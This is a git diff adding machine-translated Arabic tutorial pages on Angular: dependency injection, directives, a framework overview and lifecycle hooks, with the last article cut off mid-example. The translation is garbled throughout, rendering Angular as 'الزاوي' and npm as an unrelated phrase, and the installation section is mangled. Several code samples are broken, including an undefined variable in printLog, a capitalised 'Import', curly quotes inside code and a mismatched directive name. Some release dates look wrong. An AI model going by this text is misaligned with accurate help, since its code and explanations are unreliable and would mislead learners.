+يمكن أن تؤدي المراجع إلى DOM إلى إنشاء مثيل من أي فئة. ضع في اعتبارك أن المراجع لا تزال خدمات. وهي تختلف عن الخدمات التقليدية في تمثيل حالة شيء آخر. تتضمن هذه الخدمات وظائف للتفاعل مع مرجعها.
+
+التوجيهات في حاجة مستمرة من مراجع DOM. تؤدي التوجيهات إلى حدوث طفرات في عناصر المضيف من خلال هذه المراجع. انظر المثال التالي. يقوم حاقن التوجيه بإدخال مرجع لعنصر المضيف في مُنشئ الصف.
+
+ `// directives/highlight.directive.ts 
+ 
+ import { Directive, ElementRef, Renderer2, Input } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appHighlight]' 
+ }) 
+ export class HighlightDirective { 
+  constructor( 
+    private renderer: Renderer2, 
+    private host: ElementRef 
+  ) { } 
+ 
+  @Input() set appHighlight (color: string) { 
+    this.renderer.setStyle(this.host.nativeElement, 'background-color', color); 
+  } 
+ } 
+` 
+
+ `
+// app.component.html 
+ 
+ <p [appHighlight]="'yellow'">Highlighted Text!</p> 
+` 
+
+`Renderer2` أيضاً يحصل على instantiated. أي حاقن تأتي من هذه الخدمات؟ حسنا ، رمز مصدر كل خدمة يأتي من `@angular/core` . يجب أن تسجل هذه الخدمات بعد ذلك مع حاقن الجذر الخاص بالتطبيق.
+
+ `import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { HighlightDirective } from './directives/highlight.directive'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    HighlightDirective 
+  ], 
+  imports: [ 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+` 
+
+مجموعة موفري فارغة !؟ لا أخشى. يسجل الزاوي العديد من الخدمات باستخدام حاقن الجذر تلقائيًا. وهذا يشمل `ElementRef` و `Renderer2` . في هذا المثال ، نحن ندير عنصر المضيف من خلال واجهته النابعة من إنشاء `ElementRef` . يتيح لنا `Renderer2` تحديث نموذج عرض DOM من خلال Angular.
+
+يمكنك قراءة المزيد حول طرق العرض من [هذه المقالة](https://guide.freecodecamp.org/angular/views) . وهي الطريقة المفضلة للتحديثات DOM / view في التطبيقات الزاوية.
+
+من المهم التعرف على الدور الذي تلعبه الحاقنات في المثال أعلاه. عن طريق التصريح بأنواع المتغيرات في المُنشئ ، يحصل الصنف على خدمات قيّمة. يحدد كل نوع بيانات للمعلمة مجموعة من الإرشادات داخل الحاقن. إذا كان حاقن هذا النوع ، فإنه يعيد مثيل من النوع المذكور.
+
+#### خدمات فورية
+
+توضح مقالة [الخدمات والحاقنات](https://guide.freecodecamp.org/angular/services-and-injectors) هذا القسم إلى حد ما. على الرغم من أن هذا القسم يعيد صياغة القسم السابق أو الجزء الأكبر منه. غالبًا ما توفر الخدمات إشارات إلى شيء آخر. قد توفر كذلك واجهة تعزّز إمكانات الصف الدراسي.
+
+المثال التالي سيحدد خدمة التسجيل التي تتم إضافتها إلى حاقن المكون من خلال موفريها `providers: []` البيانات التعريفية.
+
+ `// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable() 
+ export class LoggerService { 
+  callStack: string[] = []; 
+ 
+  addLog(message: string): void { 
+    this.callStack = [message].concat(this.callStack); 
+    this.printHead(); 
+  } 
+ 
+  clear(): void { 
+    this.printLog(); 
+    this.callStack = []; 
+    console.log(“DELETED LOG”); 
+  } 
+ 
+  private printHead(): void { 
+    console.log(this.callStack[0] || null); 
+  } 
+ 
+  private printLog(): void { 
+    this.callStack.reverse().forEach((log) => console.log(message)); 
+  } 
+ } 
+` 
+
+ ``// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html', 
+  providers: [LoggerService] 
+ }) 
+ export class AppComponent { 
+  constructor(private logger: LoggerService) { } 
+ 
+  logMessage(event: any, message: string): void { 
+    event.preventDefault(); 
+    this.logger.addLog(`Message: ${message}`); 
+  } 
+ 
+  clearLog(): void { 
+    this.logger.clear(); 
+  } 
+ } 
+`` 
+
+ `
+// app.component.html 
+ 
+ <h1>Log Example</h1> 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Delete Logged Messages</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+` 
+
+التركيز على منشئ AppComponent والبيانات الوصفية. يتلقى حاقن المكون إرشادات من حقل بيانات التعريف الخاصة بالموفر الذي يحتوي على LoggerService. ثم يعرف الحاقن ما يتم إنشاء LoggerService من المطلوب في المُنشئ.
+
+يحتوي `loggerService` parameter `loggerService` على نوع `LoggerService` الذي يتعرف عليه الحاقن. يتبع الحاقن من خلال معادلة كما ذكر.
+
+#### استنتاج
+
+حقن التبعية (DI) هي نموذج. الطريقة التي تعمل بها في Angular هي من خلال التسلسل الهرمي للحقن. فئة يتلقى موارده دون الحاجة إلى إنشاء أو معرفة عنها. تلقي عن طريق الحقن تعليمات وتهيئة خدمة اعتمادا على أي واحد تم طلبه.
+
+يظهر DI الكثير في Angular. تشرح الوثائق الرسمية للزاوية سبب انتشار النموذج. كما أنهم يستمرون في وصف حالات الاستخدام الكثيرة لـ DI بطريقة زاوية تتجاوز ما تمت مناقشته في هذه المقالة. التحقق من ذلك من خلال النقر أدناه!
+
+## مصادر
+
+*   [فريق الزاوي. "نمط حقن التبعية". _جوجل_ . تم الوصول إليها في 1 يونيو 2018](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [زويف ، أليكسي. "ما أردت معرفته دائمًا عن شجرة حقن التبعية الزاوي". _Angular In Depth_ ، 21 Mar 2018. Accessed 1 June 2018](https://blog.angularindepth.com/angular-dependency-injection-and-tree-shakeable-tokens-4588a8f70d5d)
+    
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide/pipes)
+    
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+    
+*   [مقدمة إلى Dependency Injection](https://angular.io/guide/architecture-services)
+    
+*   [حقن التبعية المتقدمة](https://angular.io/guide/dependency-injection-pattern)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/directives/index.md b/client/src/guide/arabic/angular/directives/index.md
new file mode 100644
index 0000000000..f6b0feed54
--- /dev/null
+++ b/client/src/guide/arabic/angular/directives/index.md
@@ -0,0 +1,317 @@
+---
+title: Directives
+localeTitle: توجيهات
+---
+# توجيهات
+
+#### التحفيز
+
+تعتبر التوجيهات جوهرية لنموذج HTML الخاص ب Angular. المكونات هي المثال الأكثر أهمية. يتم عرض كل عرض مكون أسفل عرض مكون الجذر. هذا يمكن أن يؤدي إلى شجرة من وجهات النظر التي تحدد تطبيق واحد. يشكّل العرض فئة ( `component.ts` ) وقالبها ( `component.html` ).
+
+التوجيهات الأخرى ، رغم أنها ليست بالغة الأهمية ، توفر المرونة المطلوبة بشدة. التوجيه الموجود على عنصر له سيطرة كاملة عليه. يتيح استخدام `<ng-template></ng-template>` الإنشاء الديناميكي وإزالة محتوى HTML. Microsyntax يعطي المطورين الحرية لزيادة تخصيص السلوك التوجيهي.
+
+#### التوجيه
+
+التوجيهات هي عناصر وسمات مكونة تم إنشاؤها وتمييزها بواسطة Angular. يربط الزاوي العنصر أو السمة مع تعريف الفئة المقابل لها. `@Directive` أو `@Component` يزين هذه الفئات. كلاهما يدل على Angular أن الطبقة تؤدي دور التوجيه.
+
+بعض التوجيهات تعدل نمط عنصر المضيف. تعرض التوجيهات الأخرى طرق العرض أو إدراجها في القائمة كطرق مدمجة. وبعبارة أخرى ، فإنها تغير تنسيق HTML.
+
+في أي حال ، تشير التوجيهات إلى المترجم الزاوي. وهي تحدد مكونات التعديل وفقًا لمنطق الفصل الخاص بالتوجيه.
+
+#### توجيه المكون
+
+تختلف توجيهات المكونات بشكل أساسي عن أنواع التوجيهات الأخرى. عادة ما يشار إليها فقط كمكونات. هم يشكلون علامة HTML الفريدة الخاصة بهم. لكل مكون ، يوجد بعض القالب HTML. هذا على عكس التوجيهين الآخرين. فصولها عبارة عن منطق خالٍ يعمل وفقًا لما هو محدد مسبقًا في نموذج HTML.
+
+#### إنشاء مكون
+
+إنشاء مكون مع مكون `ng generate component [name-of-component]` ؛ استبدل `[name-of-component]` باسم مفضل. يعطي الأمر أربعة ملفات مختلفة تتعلق جميعها بمكون واحد.
+
+تعتبر `component.css` و `component.spec.ts` خارج نطاق هذه المقالة. يتضمن الجانب _التوجيهي_ للمكون الملفين الآخرين. ألق نظرة على ملفي `component.ts` و `component.html` .
+
+ `// example.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  constructor() { } 
+ } 
+` 
+
+تم قطع اثنين من التفاصيل غير ذات صلة من الجيل الافتراضي من `component.ts` . بهذه الطريقة يكون التركيز على المكون نفسه.
+
+ `
+<!-- example.component.html --> 
+ 
+ <p>example works!</p> 
+` 
+
+قد يبدو إدراج ExampleComponent كطفل مكون آخر كما يلي.
+
+ `
+<!-- another.component.html --> 
+ 
+ <h1>Welcome to AnotherComponent.</h1> 
+ <h3>Check out ExampleComponent!</h3> 
+ 
+ <!-- Outputs “<p>example works!</p>” --> 
+ <app-example></app-example> 
+ 
+ <h6>This is the end of the AnotherComponent template HTML.</h6> 
+` 
+
+انتبه إلى `<app-example></app-example>` . يتطابق `app-example` مع المحدد من decoratorComponent في `@Component` . هذا هو عنصر التوجيه. يتعرف الزاوي `app-example` _ويوجه_ عرضه إلى فئة ExampleComponent.
+
+#### التوجيه الهيكلي
+
+التفكير `if` البيانات، `for` الحلقات، و `switch` البيانات في المنطق البرمجة. هذه بنيات منطقية تحدد تنفيذ التعليمات البرمجية. هل سيتم تنفيذ التعليمة البرمجية ( `if` ) ، وكم مرة سيتم تنفيذها ( `for` ) ، وأي مجموعة من الأكواد البرمجية (رمز `switch` ).
+
+هذا النمط يستمر في التوجيهات الهيكلية. وهي تحدد بنية HTML الناتجة للقالب. أنها تنطوي دائما على بعض استخدام `ng-template` تحت غطاء محرك السيارة. يوفر `ng-template` آلية لإنشاء HTML تم تقديمه بطريقة مشروطة.
+
+فيما يلي ثلاثة أمثلة من التوجيهات الهيكلية. كل واحد لديه نظير منطقي ( `if` ، `for` ، `switch` ).
+
+*   \* ngIf
+    
+*   \* ngFor
+    
+*   \* ngSwitchCase و \* ngSwitchDefault
+    
+
+**ملاحظة هامة:** جميع هذه الثلاثة متاحة من خلال استيراد `CommonModule` . وهي متاحة من `@angular/common` للاستيراد داخل وحدة الجذر للتطبيق.
+
+##### \* ngIf
+
+`*ngIf` قيمة معينة لمعرفة ما إذا كانت _صحيحة_ أو _كاذبة_ تستند إلى التقييم المنطقي العام في JavaScript. إذا كانت الحقيقة ، يظهر العنصر و HTML الداخلي. خلاف ذلك ، فإنها لا تقدم أبدا إلى نموذج كائن المجال (DOM).
+
+ `
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngIf="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *ngIf="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+` 
+
+هذا مثال مفتعل. يمكن استبدال أي قيمة عضو من فئة مكون القالب بـ `true` أو `false` .
+
+ملاحظة: يمكنك أيضًا القيام بما يلي مع \* ngIf للوصول إلى قيمة الملاحظة
+
+ `
+<div *ngIf="observable$ | async as anyNameYouWant"> 
+  {{  anyNameYouWant }} 
+ </div> 
+` 
+
+##### \* ngFor
+
+`*ngFor` loops استناداً إلى تعبير _صغري_ تم تعيينه _لليمين_ . ينتقل Microsyntax خارج نطاق هذه المقالة. نعرف أن microsyntax هو شكل قصير من التعبير المنطقي. يحدث كسلسلة واحدة قادرة على الرجوع إلى قيم عضو فئة. يمكنه تكرار قيم `*ngFor` للتكرار مما يجعلها مفيدة لـ `*ngFor` .
+
+ `
+<ul> 
+  <li *ngFor=“let potato of ['Russet', 'Sweet', 'Laura']; let i=index”> 
+      Potato {{ i + 1 }}: {{ potato }} 
+  </li> 
+  <!-- Outputs 
+  <li> 
+      Potato 1: Russet 
+  </li> 
+  <li> 
+      Potato 2: Sweet 
+  </li> 
+  <li> 
+      Potato 3: Laura 
+  </li> 
+  --> 
+ </ul> 
+` 
+
+`['Russet', 'Sweet', 'Laura']` هي قيمة محسوبة. المصفوفات هي واحدة من أكثر المتغيرات الشائعة. تقوم `*ngFor` عنصر `<li></li>` لكل عنصر في الصفيف. يتم تعيين كل عنصر صفيف `potato` المتغيرة. كل هذا يتم باستخدام microsyntax. يحدد `*ngFor` المحتوى الهيكلي لعنصر `ul` . هذا هو سمة من التوجيه الهيكلي.
+
+ملاحظة: يمكنك أيضًا القيام بما يلي مع \* ngFor التوجيه للوصول إلى قيمة الملاحظة (hacky)
+
+ `
+<div *ngFor="let anyNameYouWant of [(observable$ | async)]"> 
+  {{  anyNameYouWant }} 
+ </div> 
+` 
+
+##### \* ngSwitchCase و \* ngSwitchDefault
+
+يعمل هذان التوجيهان الهيكليان معًا لتوفير وظيفة `switch` إلى نموذج HTML.
+
+ `
+<div [ngSwitch]=“potato”> 
+  <h1 *ngSwitchCase=“'Russet'”>{{ potato }} is a Russet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Sweet'”>{{ potato }} is a Sweet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Laura'”>{{ potato }} is a Laura Potato.</h1> 
+  <h1 *ngSwitchDefault>{{ potato }} is not a Russet, Sweet, nor Laura Potato.</h1> 
+ </div> 
+` 
+
+واحد فقط من `*ngSwitch…` التعبيرات. لاحظ السمة `[ngSwitch]` داخل عنصر `div` يلف المفتاح. هذا يمر قيمة `potato` على طول سلسلة `*ngSwitch...` تحدد هذه السلسلة من التوجيهات الهيكلية عنصر `h1` الذي يتم `h1` .
+
+على هذا النحو ، لا يعد `[ngSwitch]` توجيهًا هيكليًا على عكس `*ngSwitch…` . يمرر القيمة على طول بينما يحدد قالب التبديل التخطيط النهائي لـ HTML.
+
+تذكر أن الأسلوب و تمرير القيمة لا يمثلان مسؤولية التوجيهات الهيكلية. التي تتعلق توجيهات السمة. التوجيهات الهيكلية تحدد فقط التخطيط.
+
+#### الهيكل التوجيهي للإبداع [1](https://angular.io/guide/structural-directives)
+
+هناك شيء مهم لفهمه عن الأمثلة السابقة. انهم جميعا اختزال من البداية النجمية ( `*` ). يستخدم `ng-template` تحت غطاء محرك السيارة مع كل تطبيق للنجمة.
+
+يحدد `ng-template` التوجيهات الهيكلية. يشرح كيف يمكنهم تكوين HTML النموذج لإنتاج HTML الفعلي. ابدأ بإنشاء أمر توجيه باستخدام `ng generate directive [name-of-directive]` . استبدل `[name-of-directive]` باسم مفضل. يعطي الأمر ما يلي.
+
+ `import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+` 
+
+هذا الهيكل العظمي التوجيهي هي جميلة عارية. لا نعرف بعد ما إذا كنا نبني توجيهًا هيكليًا أو مسطرة. يحدد `selector: '[appExample]'` الزاوي ما `selector: '[appExample]'` التوجيهات إلى. نظرًا لأنك تقوم بإنشاء توجيه هيكلي ، قم بتعديل الهيكل العظمي كما يلي.
+
+ `Import { Directive, Input, TemplateRef, ViewContainerRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(booleanValue: boolean) { 
+      if (booleanValue) { 
+          this.ngTemplate.createEmbeddedView(this.innerHTMLOfTemplateScope); 
+      } 
+      else { 
+          this.ngTemplate.clear(); 
+      } 
+  } 
+ 
+  constructor( 
+      private innerHTMLOfTemplateScope:TemplateRef<any>, 
+      private ngTemplate:ViewContainerRef 
+  ) { } 
+ } 
+` 
+
+تضمين عنصر عشوائي مع سمة `appExample` بمثابة مثال جيد.
+
+ `
+<div *appExample=“value”>innerHTML content</div> 
+ <!-- This is shorthand for: 
+ <ng-template> 
+  <div>innerHTML content</div> 
+ </ng-template> 
+ --> 
+` 
+
+هذا هو الكثير ليأخذ في. `@Input() set ...` هو إعلان عضو واضعة. يتم تنفيذ ذلك عندما تظهر السمة `appExample` داخل عنصر ويتم تعيين قيمة منطقية لها. تستقبل الدالة setter تلك القيمة المنطقية كمعلمة للتنفيذ.
+
+`TemplateRef<any>` إلى innerHTML الخاص بـ `<ng-template></ng-template>` . النجمة المستخدمة في الأمثلة السابقة هي اختصار للتعليق في قالب الكود أعلاه. `ng-template` بمثابة _صلصة سرية_ له التوجيهات الهيكلية.
+
+يشير `ViewContainerRef` إلى نطاق تغليف `<ng-template></ng-template>` . `ng-template` ليس عنصرًا فعليًا. إنه علامة للمترجم الزاوي الذي يتم التعليق عليه في النهاية.
+
+يحتوي `ViewContainerRef` طريقتين: `clear()` و `createEmbeddedView()` . يمكنك التفكير في طرق العرض المضمنة أثناء تحديد نطاق HTML داخل عنصر `ng-template` .
+
+`clear()` يزيل أي HTML موجود تم تحديده داخل `ng-template` من شاشة HTML. `createEmbeddedView()` HTML داخل `ng-template` كـ HTML قابل للعرض.
+
+إذا فهمت مثال الكود الأحدث ، فحينئذٍ سيكون لديك `*ngIf` صلبة `*ngIf` و `*ngFor` و `*ngSwitchCase` و `*ngSwitchDefault` . انهم جميعا تحديد تخطيط مع الإشارة إلى `TemplateRef<any>` و `ViewContainerRef` .
+
+في الواقع ، فإن ExampleDirective أعلاه يحاكي وظائف `*ngIf` !
+
+ `
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngExample="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *appExample="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+` 
+
+لا تنسى النجمة ( `*` ). هو اختزال لعنصر `ng-template` الذي تشير إليه فئة التوجيه الخاصة بنا.
+
+#### توجيه السمة
+
+توجيهات السمات مشابهة للبنية. باستثناء ، فإن أوامر السمات لها تأثير صفري على تنسيق HTML. وهي لا تنفذ `<ng-template></ng-template>` . وهي سمات تشير إلى عنصر المضيف الخاص بها للتغييرات الأسلوبية.
+
+مثال يوضح أفضل غرضهم.
+
+#### السمة توجيه إنشاء [2](https://angular.io/guide/attribute-directives)
+
+إنشاء توجيه آخر: `ng generate directive [name-of-directive]` . استبدل `[name-of-directive]` باسم مفضل.
+
+ `import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+` 
+
+تبدأ السمة والتوجيهات الهيكلية بنفس الهيكل العظمي. سوف تضيف بضعة إضافات أخرى توجيه السمة.
+
+ `import { Directive, Input, ElementRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(color:string) { 
+      this.host.nativeElement.style.color = color; 
+  } 
+ 
+  constructor(private host:ElementRef) { } 
+ } 
+` 
+
+بعض العناصر لاختبار مع مساعدة.
+
+ `
+<!-- the intended results are self-explanatory --> 
+ <div appExample=“purple”>This text is purple!</div> 
+ <div appExample=“blue”>This text is blue!</div> 
+ <div appExample=“red”>This text is red!</div> 
+` 
+
+يوفر `ElementRef` إشارة مباشرة إلى عنصر المضيف. يستحوذ `ElementRef.nativeElement` على عقدة DOM. مع العقدة ، فإن تصميم العنصر بسيط مثل `this.host.nativeElement.style.color = color` .
+
+`@Input() set ...` هي وظيفة setter أخرى تقرأ القيمة التي يتم تعيينها عند تنفيذها `@Input() set ...` . يعيد تعيين خاصية اللون لورقة الأنماط لكل عنصر.
+
+#### استنتاج
+
+التوجيهات هي أداة قوية متاحة في HTML لقالب Angular. هم كيفية توصيل المكونات عبر بعضها البعض. داخل كل مكون أنها توفر وسيلة للأسلوب والتخطيط.
+
+هناك العديد من الخيارات الأخرى لبناء كل نوع من التوجيه. لسوء الحظ ، تغطية كل واحد منها أكثر من اللازم لمقالة واحدة. وجود فهم أساسي للتوجيهات كافٍ للمضي قدمًا باستخدام المزيد من الموارد المتقدمة.
+
+تحقق من الموارد أدناه للغوص أعمق. هناك روابط لكل نوع من التوجيه. كل رابط هو جزء من نفس الوثائق ، لذا لا حاجة للعودة هنا بعد زيارة الرابط الأول!
+
+## مصادر
+
+1.  [فريق الزاوي. _التوجيهات الهيكلية_ . جوجل. تم الوصول إليها في 28 مايو 2018](https://angular.io/guide/structural-directives)
+    
+2.  [فريق الزاوي. _توجيهات السمة_ . جوجل. تم الوصول إليها في 28 مايو 2018](https://angular.io/guide/attribute-directives)
+    
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide/pipes)
+    
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+    
+*   [المكونات الزاوي](https://angular.io/guide/architecture-components)
+    
+*   [التوجيهات الهيكلية الزاوي](https://angular.io/guide/structural-directives)
+    
+*   [إرشادات السمة الزاوي](https://angular.io/guide/attribute-directives)
+    
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/index.md b/client/src/guide/arabic/angular/index.md
new file mode 100644
index 0000000000..19aab9b975
--- /dev/null
+++ b/client/src/guide/arabic/angular/index.md
@@ -0,0 +1,58 @@
+---
+title: Angular
+localeTitle: زاوي
+---
+## زاوي
+
+AngularJS (الإصدارات 1.x) هو إطار مفتوح المصدر يستند إلى JavaScript. هو منصة عبرية ويستخدم لتطوير تطبيق ويب صفحة واحدة (SPWA). تنفذ AngularJS نمط MVC لفصل مكونات المنطق والعرض والبيانات. كما يستخدم حقن التبعية للاستفادة من الخدمات من جانب الخادم في تطبيقات جانب العميل.
+
+الزاوي (الإصدارات 2.x وما فوق) هو إطار مفتوح المصدر يستند إلى Typescript لتطوير تطبيق ويب أمامي. يحتوي Angular على الميزات التالية مثل الأدوية الجنسية والكتابة الثابتة وكذلك بعض ميزات ES6.
+
+## تاريخ النسخة
+
+أصدرت غوغل النسخة الأولية من AngularJS في 20 أكتوبر 2010. إصدار مستقر من AngularJS كان في 18 ديسمبر 2017 للإصدار 1.6.8. تم إصدار الإصدار 2.0 من Angular في 22 سبتمبر 2014 في مؤتمر ng-Europe. واحدة من ميزات Angular 2.0 هي التحميل الديناميكي.
+
+بعد بعض التعديلات ، تم إصدار Angular 4.0 في ديسمبر 2016. الزاوي 4 متوافق مع الإصدارات السابقة مع Angular 2.0. مكتبة HttpClient هي إحدى ميزات Angular 4.0. تم إصدار الإصدار 5 من Angular في 1 تشرين الثاني 2017. كان دعم تطبيقات الويب التقدمية أحد التحسينات في Angular 4.0. كان إصدار Angular 6 في مايو 2018. أحدث إصدار ثابت هو [6.1.9](https://blog.angular.io/angular-v6-1-now-available-typescript-2-9-scroll-positioning-and-more-9f1c03007bb6)
+
+**التثبيت** :
+
+يمكننا إضافة Angular إما عن طريق الرجوع إلى المصادر المتاحة أو تنزيل إطار العمل.
+
+**رابط المصدر** :
+
+AngularJS: يمكننا إضافة AngularJS (الإصدارات 1.x الزاوي) من خلال الرجوع إلى شبكة تسليم المحتوى من Google.
+
+ `
+<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script> 
+` 
+
+التنزيل / التثبيت: يمكننا تنزيل إطار العمل باستخدام npm أو Bower أو composer
+
+**1.x الزاوي** :
+
+الآلية الوقائية الوطنية
+
+\`\` \`قذيفة npm تثبيت الزاوي
+
+ ``Then add a `<script>` to your `index.html`: 
+`` 
+
+أتش تي أم أل
+
+ `bower 
+` 
+
+الصدف باور تثبيت زاوية
+
+ ``Then add a `<script>` to your `index.html`: 
+`` 
+
+أتش تي أم أل
+
+\`\` \`
+
+لمزيد من المعلومات حول الوثائق ، راجع الموقع الرسمي لشركة [AngularJS](https://docs.angularjs.org/api)
+
+يمكنك تثبيت **Angular 2.x** والإصدارات الأخرى من خلال اتباع الخطوات من الوثائق الرسمية لـ [Angular](https://angular.io/guide/quickstart)
+
+_ملاحظة: يرجى الرجوع إلى وثائق Angular للحصول على المعلومات المحدثة._
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/lifecycle-hooks/index.md b/client/src/guide/arabic/angular/lifecycle-hooks/index.md
new file mode 100644
index 0000000000..24e9fe4168
--- /dev/null
+++ b/client/src/guide/arabic/angular/lifecycle-hooks/index.md
@@ -0,0 +1,447 @@
+---
+title: Lifecycle Hooks
+localeTitle: خطاف دورة حياة
+---
+# خطاف دورة حياة
+
+#### التحفيز
+
+تقوم أطر الواجهة الأمامية الحديثة بتحويل التطبيق من ولاية إلى أخرى. تزود البيانات هذه التحديثات. تتفاعل هذه التقنيات مع البيانات التي بدورها تحول الحالة. مع كل تغيير في الحالة ، هناك العديد من اللحظات المحددة التي تصبح فيها بعض الأصول متاحة.
+
+في إحدى الحالات ، قد يكون النموذج جاهزًا ، وفي بيانات أخرى سيتم الانتهاء من التحميل. الترميز لكل حالة يتطلب وسيلة للكشف. خطاطيف دورة الحياة الإجابة على هذه الحاجة. وتحزم أطر العمل الأمامية الحديثة مجموعة متنوعة من خطافات دورة الحياة. الزاوي ليست استثناء
+
+#### ويوضح خطاف دورة حياة
+
+خطاطيف دورة الحياة هي أساليب موقوتة. تختلف في متى ولماذا تنفذ. يؤدي الكشف عن التغيير إلى تشغيل هذه الطرق. أنها تنفذ اعتمادا على ظروف الدورة الحالية. يغير تشغيل الزاوي باستمرار على بياناته. تساعد خطافات دورة الحياة في إدارة آثارها.
+
+جانب مهم من هذه الخطافات هو ترتيب التنفيذ. لا ينحرف ابدا. يتم تنفيذها استنادًا إلى سلسلة متوقعة من أحداث الحمل التي تم إنتاجها من دورة الكشف. هذا يجعلها متوقعة. بعض الأصول متوفرة فقط بعد تنفيذ خطاف معين. وبطبيعة الحال ، لا يتم تنفيذ خطاف إلا تحت ظروف معينة محددة في دورة الكشف عن التغيير الحالية.
+
+تقدم هذه المقالة خطاطيف دورة الحياة في ترتيب تنفيذها (إذا كانت جميع تنفيذ). شروط معينة تستحق تفعيل الخطاف. هناك عدد قليل من الذين ينفذون فقط مرة واحدة بعد تهيئة المكونات.
+
+تتوفر جميع طرق دورة الحياة من `@angular/core` . على الرغم من عدم ضرورة ذلك ، [توصي](https://angular.io/guide/lifecycle-hooks#interfaces-are-optional-technically) Angular [بتنفيذ كل خطاف](https://angular.io/guide/lifecycle-hooks#interfaces-are-optional-technically) . هذه الممارسة تؤدي إلى رسائل خطأ أفضل فيما يتعلق بالمكون.
+
+### في ترتيب تنفيذها ...
+
+#### ngOnChanges
+
+`ngOnChanges` بعد تعديل أعضاء فئة ربط `@Input` . تأتي البيانات المرتبطة بـ `@Input()` من مصدر خارجي. عندما يقوم المصدر الخارجي بتغيير هذه البيانات بطريقة يمكن اكتشافها ، فإنه يمر عبر خاصية `@Input` مرة أخرى.
+
+باستخدام هذا التحديث ، يتم `ngOnChanges` الفور. كما يتم إطلاقه عند تهيئة بيانات الإدخال. يتلقى `SimpleChanges` معلمة اختيارية واحدة من النوع `SimpleChanges` . تحتوي هذه القيمة على معلومات حول خصائص مدخلات تم تغييرها.
+
+ ``import { Component, Input, OnChanges } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnChanges { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnChanges() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnChanges Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
+    }, 5000); 
+  } 
+ } 
+`` 
+
+**ملخص:** ParentComponent بربط بيانات الإدخال إلى ChildComponent. يتلقى المكون هذه البيانات من خلال خاصية `@Input` الخاصة به. `ngOnChanges` الحرائق. بعد خمس ثوانٍ ، يتم تشغيل معاودة الاتصال `setTimeout` . يقوم ParentComponent بتغيير مصدر البيانات الخاص بخاصية إدخال معلمة ChildComponent. تتدفق البيانات الجديدة من خلال خاصية الإدخال. `ngOnChanges` حرائق مرة أخرى.
+
+#### ngOnInit
+
+`ngOnInit` حرائق مرة واحدة عند تهيئة خصائص مدخلات ( `@Input` ) مكون من المكونات. المثال التالي سوف يشبه المثال الأخير. لا إطلاق الخطاف كما يتلقى ChildComponent بيانات الإدخال. بدلاً من ذلك ، يتم تشغيله مباشرة بعد عرض البيانات إلى قالب ChildComponent.
+
+ ``import { Component, Input, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnInit { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnInit() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnInit Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
